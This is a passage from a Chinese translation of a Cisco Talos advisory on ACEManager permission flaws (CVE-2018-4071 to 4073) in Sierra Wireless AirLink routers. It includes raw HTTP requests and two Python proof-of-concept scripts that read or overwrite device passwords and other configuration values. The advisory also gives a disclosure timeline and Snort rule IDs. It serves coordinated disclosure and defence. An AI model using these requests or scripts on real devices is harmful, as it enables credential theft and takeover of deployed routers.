 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: text/xml
 Cache-Control: no-cache, must-revalidate
 Pragma: no-cache
 Content-Length: 4
 Cookie: token=fd57b4e137a8f9fe1a3c998fc25b0e1e
 Connection: close
 
 5003

该二进制文件具有-rwxr-xr-x权限,允许二进制文件在Web用户界面之外执行,例如在用户通过SSH登录的情况下。这样一来,就就可以允许低权限用户检索系统上其他用户的密码、服务状态以及检索设备上的任何其他配置。

(2)CVE-2018-4071

EmbeddedAceTLGet_Task.cgi可执行文件用于在AirLink ES450的配置管理器中检索MSCII配置值。该二进制文件没有任何受限制的配置设置,因此一旦发现MSCIID,任何经过身份验证的用户都可以使用/cgi-bin/Embedded_Ace_TLGet_Task.cgi终端发送配置更改。下面的请求展现了用于以纯文本格式检索设备用户密码的MSCIID。

 POST /cgi-bin/Embedded_Ace_TLGet_Task.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: text/xml
 Cache-Control: no-cache, must-revalidate
 Pragma: no-cache
 Content-Length: 18
 Cookie: token=fd57b4e137a8f9fe1a3c998fc25b0e1e
 Connection: close
 
 rows=1&colsid=5003

该二进制文件具有-rwxr-xr-x权限,允许二进制文件在Web用户界面之外执行,例如在用户通过SSH登录的情况下。这样一来,就就可以允许低权限用户检索系统上其他用户的密码、服务状态以及检索设备上的任何其他配置。

11.4 漏洞利用概念证明

 #!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import requests
 
 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
      <connect>
      <login>user</login>
      <password><![CDATA[{}]]></password>
      </connect>
      </request>""".format(password)
 
      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
 
      try:
           cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
           return cookies
      except:
           print("Error while authenticating")
           sys.exit(0)
 
 def main():
      if len(sys.argv) < 5 or len(sys.argv) > 5:
           print("Usage : {} [ip address] [port] [password of user] [msciid to get]".format(sys.argv[0]))
           sys.exit(0)
 
      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
      msciid = sys.argv[4]
 
      print("MSCIID : {}\n".format(msciid))
 
      cookies = auth(ip, port, password)
 
      data = msciid
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/Embedded_Ace_Get_Task.cgi", cookies=cookies, data=data)
 
      print(response.text)
 
 if __name__ == "__main__":
      main()

十二、ACEManager Embedded_Ace_Set_Task.cgi权限分配漏洞(CVE-2018-4072 | 4073)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager Embedded_Ace_Set_Task.cgi功能中存在可以被利用的权限分配漏洞。攻击者精心构造的HTTP请求可能导致任意设置写入,从而导致对任何系统设置进行未经验证的更改。攻击者可以发出经过身份验证的HTTP请求,或者以任意用户身份运行二进制文件,以触发此漏洞。

12.1 CVSSv3评分

9.9 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

12.2 CWE

CWE-732:关键资源的权限分配不正确

12.3 漏洞详情

ACEManager是AirLink ES450附带的Web服务器。该Web服务器负责设备中的大多数交互。该Web服务器具有一些特定的功能,具体包括:路由、设备重新配置、用户身份验证和证书管理。厂商表示,默认情况下,无法从蜂窝WAN访问ACEManager Web应用程序。

我们在AirLink ES450中发现了这一漏洞,并进行了相关测试。该漏洞很可能也会影响AirLink GX450产品。

(1)CVE-2018-4072

EmbeddedAceSet_Task.cgi可执行文件用于更改AirLink ES450配置管理器中的MSCII配置值。该二进制文件没有任何受限制的配置设置,因此,一旦发现MSCIID,任何经过身份验证的用户都可以使用/cgi-bin/Embedded_Ace_Set_Task.cgi端点发送配置更改。下面的请求,展现了用于更改设备用户密码的MSCIID。

 POST /cgi-bin/Embedded_Ace_Set_Task.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET        CLR 1.1.4322; .NET CLR 2.0.50215)
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: text/xml
 Cache-Control: no-cache, must-revalidate
 Pragma: no-cache
 Content-Length: 15
 Cookie: token=8b61123e579dcaa49a707abc4fcc1016
 Connection: close
 
 5003=password0

该二进制文件具有-rwxr-xr-x权限,允许二进制文件在Web用户界面之外执行,例如在用户通过SSH登录的情况下。这样一来,就就可以允许低权限用户检索系统上其他用户的密码、服务状态以及检索设备上的任何其他配置。

(2)CVE-2018-4073

除此之外,/cgi-bin/Embeded_Ace_TLSet_Task.cgi的二进制文件是一个非常相似的端点,其设计用于设置表值。以下请求展示了用于更改设备用户密码的MSCIID。

 POST /cgi-bin/Embedded_Ace_TLSet_Task.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: text/xml
 Cache-Control: no-cache, must-revalidate
 Pragma: no-cache
 Content-Length: 28
 Cookie: token=30578cf7228232d357e029347617af5c
 Connection: close
 
 colsid=5003&data=password012

该二进制文件具有-rwxr-xr-x权限,允许二进制文件在Web用户界面之外执行,例如在用户通过SSH登录的情况下。这样一来,就就可以允许低权限用户检索系统上其他用户的密码、服务状态以及检索设备上的任何其他配置。

12.4 漏洞利用概念证明

 #!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import socket
 import time
 import requests
 
 from requests_toolbelt.utils import dump
 
 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
 <connect>
 <login>user</login>
 <password><![CDATA[{}]]></password>
 </connect>
 </request>""".format(password)
 
      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
 
      try:
           cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
           return cookies
      except:
           print("Error while authenticating")
           sys.exit(0)
 
 def main():
      if len(sys.argv) < 6 or len(sys.argv) > 6:
           print("Usage : {} [ip address] [port] [password of user] [msciid to set] [msciid value]".format(sys.argv[0]))
           sys.exit(0)
 
      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
      msciid = sys.argv[4]
      msciid_val = sys.argv[5]
 
      print("MSCIID : {}\nMSCIID VALUE : {}".format(msciid, msciid_val))
 
      cookies = auth(ip, port, password)
 
      data = msciid + "=" + msciid_val
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/Embedded_Ace_Set_Task.cgi", cookies=cookies, data=data)
 
      print(response.text)
 
 if __name__ == "__main__":
      main()

十三、测试环境

Talos团队测试了Sierra Wireless AirLink ES450 FW 4.9.3,并确认该设备受上述漏洞的影响。

十四、受影响的设备

目前已经确认,Sierra Wireless的多个设备受到上述漏洞的各种子集的影响,包括:

· GX400

· ES/GX440

· LS300

· ES/GX450

· MP70

· RV50/50X

· LX40/60X

十五、时间节点

· 2018年12月14日  向厂商披露漏洞

· 2018年12月17日  厂商确认漏洞

· 2019年1月8日  与厂商针对这些漏洞进行讨论

· 2019年3月26日  厂商制定了修复和公开披露的时间表

· 2019年4月20日  Talos提供了针对TALOS-2018-0746、TALOS-2018-0751、TALOS-2018-0752、TALOS-2018-0755和TALOS-2018-0756的CVSS评分修订

· 2019年4月25日  公开披露

十六、检测规则

以下SNORT规则将检测该漏洞的利用尝试。需要注意的是,可能会在未来某个日期发布其他规则,并且根据其他漏洞信息的补充,当前规则可能会发生更改。有关最新的规则信息,可以参阅Firepower管理中心,或访问Snort.org。

Snort规则:48600、48635、48614-48621、48747。

本文翻译自:https://blog.talosintelligence.com/2019/04/vulnerability-sierra-airlink.html如若转载,请注明原文地址: https://www.4hou.com/vulnerable/17703.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论